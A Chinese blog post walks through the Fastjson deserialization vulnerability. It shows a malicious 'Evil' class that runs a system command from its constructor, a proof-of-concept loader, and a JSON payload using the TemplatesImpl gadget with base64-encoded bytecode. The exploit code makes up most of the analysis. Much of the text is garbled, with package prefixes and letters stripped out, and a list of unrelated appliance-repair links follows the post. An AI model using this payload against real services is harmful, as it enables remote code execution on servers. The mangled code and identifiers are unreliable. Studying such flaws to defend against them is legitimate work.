亲手带你解决Debug Fastjson的安全漏洞
简介
Java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,
https://github./alibaba/fastjson,
Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在eb服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。
大概在4月18号的时候,fastjson进行了一次安全更新,通告在这里
https://github./alibaba/fastjson/iki/security_update_20170315,
当时对这也不熟悉,断断续续看了几天也没什么收获(主要是因为太菜了TAT)。最近有人出了poc以及分析的文章就跟进了一下,漏洞还是挺有意思。
fastjson简单使用介绍
工欲善其事,必先利其器,要想研究这个漏洞,就要先要了解这个fastjson是干什么的。自己研究了一下这个类库。User.java code如下
testFastJson.java code如下
package fastjsonVul.fastjsonTest;
import java.util.HashMap;
import java.util.Map;
import .alibaba.fastjson.JSON;
import .alibaba.fastjson.parser.Feature;
import .alibaba.fastjson.serializer.SerializerFeature;
import fastjsonVul.fastjsonTest.User;
public class testFastJson {
public static void main(String[] args){
Map map = ne HashMap();
map.put("key1","One");
map.put("key2", "To");
String mapJson = JSON.toJSonString(map);
System.out.println(mapJson);
User user1 = ne User();
user1.setUsername("果汁简历");
user1.setSex("male");
System.out.println("obj name:"+user1.getClass().getName());
//序列化
String serializedStr = JSON.toJSonString(user1);
System.out.println("serializedStr="+serializedStr);
String serializedStr1 = JSON.toJSonString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);
//通过parse方法进行反序列化
User user2 = (User)JSON.parse(serializedStr1);
System.out.println(user2.getUsername());
System.out.println();
//通过parseObject方法进行反序列化 通过这种方法返回的是一个JSonObject
Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println("obj name:"+obj.getClass().getName()+"n");
//通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
System.out.println(obj1);
System.out.println("obj1 name:"+obj1.getClass().getName());
}
}
输出是这样
{"key1":"One","key2":"To"}
obj name:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"果汁简历","sex":"male","username":"果汁简历"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"果汁简历"}
果汁简历
{"Username":"果汁简历","Sex":"male","sex":"male","username":"果汁简历"}
obj name:.alibaba.fastjson.JSONObject
fastjsonVul.fastjsonTest.User@18769467
obj1 name:fastjsonVul.fastjsonTest.User
Fastjson漏洞详细
fastjson漏洞出现的地方也就是JSON.parseObject这个方法上面。
在最开始的时候,只能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码,像是这样
Evil.java
import java.io.IOException;
public class Evil {
public String getName() {
System.out.println("i am getterName!");
return name;
}
public void setName(String name) {
System.out.println("i am setterName!");
this.name = name;
}
public String name;
public int getAge() {
System.out.println("i am getterAge!");
return age;
}
public void setAge(int age) {
System.out.println("i am setterAge!");
this.age = age;
}
private int age;
public Evil() thros IOException{
System.out.println("i am constructor!");
}
}
import .alibaba.fastjson.JSON;
import java.io.;
public class App{
public static void readToBuffer(StringBuffer buffer, String filePath) thros IOException {
InputStream is = ne FileInputStream(filePath);
String line; // 用来保存每行读取的内容
BufferedReader reader = ne BufferedReader(ne InputStreamReader(is));
line = reader.readLine(); // 读取第一行
hile (line != null) { // 如果 line 为空说明读完了
buffer.append(line); // 将读到的内容添加到 buffer 中
buffer.append("n"); // 添加换行符
line = reader.readLine(); // 读取下一行
}
reader.close();
is.close();
}
public static void main( String[] args ) thros IOException
{
StringBuffer Buffer = ne StringBuffer();
App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
Object obj = JSON.parseObject(Buffer.toString());
}
}
demo.json的内容如下
{
"@type" : "Evil1",
"name" : "M0rk",
"age" : "20"}
可以看到通过@type"特性",就执行了构造函数以及私有和公有成员变量的getter和setter方法。这貌似还并没有达到我们想要的结果,因为上面的情况是需要我们能够控制Evil这个类(一般是通过文件写入),目前来看不太现实。
还有一种方法就是将编译好的.class或者.jar文件转换成byte[],然后通过defineClass加载byte[]返回class对象。
安全研究人员发现了这个类
.sun..apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类存在如下的调用链可加载byte[]完成.class文件中对象的实例化,注意MailCiousClass需要继承AbstractTranslet(在defineTransle方法中存在一个校验)。更多这个调用链参考链接
https://gist.github./frohoff/24af7913611f8406eaf3
如上图所示的攻击调用栈信息,可以看到和TemplatesImpl调用链完全吻合,最终还是通过defineclass加载了bytecodes[]导致了命令执行。
Evil.java
import .sun..apache.xalan.internal.xsltc.DOM;
import .sun..apache.xalan.internal.xsltc.TransletException;
import .sun..apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import .sun..apache.xml.internal.dtm.DTMAxisIterator;
import .sun..apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
public Evil() thros IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, .sun..apache.xml.internal.serializer.SerializationHandler[] handlers) thros TransletException {
}
}
import .alibaba.fastjson.JSON;
import .alibaba.fastjson.parser.Feature;
import .apache.mons.io.IOUtils;
import .apache.mons.codec.binary.base64;
import java.io.;
import .sun..apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class poc {
public static String readClass(String cls) {
ByteArrayOutputStream bos = ne ByteArrayOutputStream();
try {
IOUtils.copy(ne FileInputStream(ne File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return base64.encodebase64String(bos.toByteArray());
}
public static void main(String args[]) thros Exception{
// final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
// String evilCode = readClass(evilClassPath);
// System.out.println(evilCode);
StringBuffer Buffer = ne StringBuffer();
App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);
}
}
evil.json
{
"@type" : ".sun..apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FYWNoZS94bWvaW50ZXJuYWvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FYWNoZS94bWvaW50ZXJuYWvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAAHQAeAQAhb3BlbiAvQXBbGljYXRpb25zL0NhbGN1bGF0b3IuYXBDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADACAAkAAAAZAAAAAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
"_name" : "M0rk",
"_tfactory" : {},
"outputProperties" : {}
}
关于这个漏洞的构造还是挺精巧,漏洞的利用条件比较苛刻,如要能够利用,开发人员对json的处理函数需要是 JSON.parseObject(input, Object.class,
Feature.SupportNonPublicField);
而大部分的开发可能用用JSON.parse(input)就了事儿了,使用了parseObject和
Feature.SupportNonPublicField设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求。
到此这篇关于亲手带你解决Debug Fastjson的安全漏洞的文章就介绍到这了,更多相关Debug Fastjson安全漏洞内容请搜索考高分网以前的文章或继续浏览下面的相关文章电脑维修网希望大家以后多多支持考高分网!
空调维修
- 我的世界电脑版运行身份怎么弄出来(我的世界
- 空调抽湿是什么意思,设置抽湿的温度有什么意
- 方太燃气灶有一个打不着火 怎么修复与排查方法
- 夏季免费清洗汽车空调的宣传口号
- 清洗完空调后出现漏水现象
- iphone6能玩什么游戏(iphone6游戏)
- 如何设置电脑密码锁屏(如何设置电脑密码锁屏
- win10删除开机密码提示不符合密码策略要求
- 电脑w7显示不是正版(w7不是正版怎么解决)
- 万家乐z8热水器显示e7解决 怎么修复与排查方法
- 1匹空调多少瓦数(1匹空调多少瓦)
- 安卓手机连接电脑用什么软件好(关于安卓手机
- 电脑网页看视频卡是什么原因(爱拍看视频卡)
- 华帝燃气灶点火器一直响然后熄火怎么办:问题
- 电脑壁纸怎么换(关于电脑壁纸怎么换的介绍)
- 冬天空调的出风口应该朝什么方向(冬天空调风